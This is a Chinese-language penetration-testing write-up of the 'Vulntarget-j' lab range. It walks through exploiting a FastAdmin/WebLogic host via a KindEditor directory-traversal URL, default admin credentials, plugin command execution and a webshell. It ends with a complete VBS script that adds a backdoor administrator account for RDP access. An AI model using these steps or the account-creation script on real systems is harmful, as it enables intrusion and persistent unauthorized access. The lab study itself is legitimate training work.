Vulntarget-j

进行fscan大保健一下

存在80和7001进行web探测

在80中进行相关的报错，探测出服务器上的绝对路径

这里看到了fastadmin的cms

于是去复现了最新的前台getshell，

https://cloud.tencent.com/developer/article/2204408

失败了

因为admin的登录页面是特定的所以暂时放弃了

然后转到7001 weblogic

进行了相关工具的探测也没有存在的相关漏洞

然后进行目录爆破，发现了example目录

发现不能进行kindEditor的文件上传漏洞

于是通过读取

1	http://10.0.2.5:7001/kindeditor.js

发现是3.5.5版本，搜索存在目录遍历

于是遍历出fastadmin的admin登录页面

通过.././绕过../的限制

1	http://10.0.2.5:7001/php/file_manager_json.php?path=.././.././fastadmin/public/

1	http://10.0.2.5/FNeSOgYGkp.php/

admin/admin123成功登录后台

利用成功的是插件命令执行(需要先安装1.10版本的)

然后跟着复现即可成功

https://www.secpulse.com/archives/158403.html

然后写shell进去

然后蚁剑连接

一上线就是system的权限，很难不爽

进行tasklist发现存在360

然后通过创建admin脚本1.vbs，进行rdp登录

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","tx")
od.SetPassword "pass!@#!23"
od.SetInfo
Set of=GetObject(os&"/tx",user)
oe.add os&"/tx"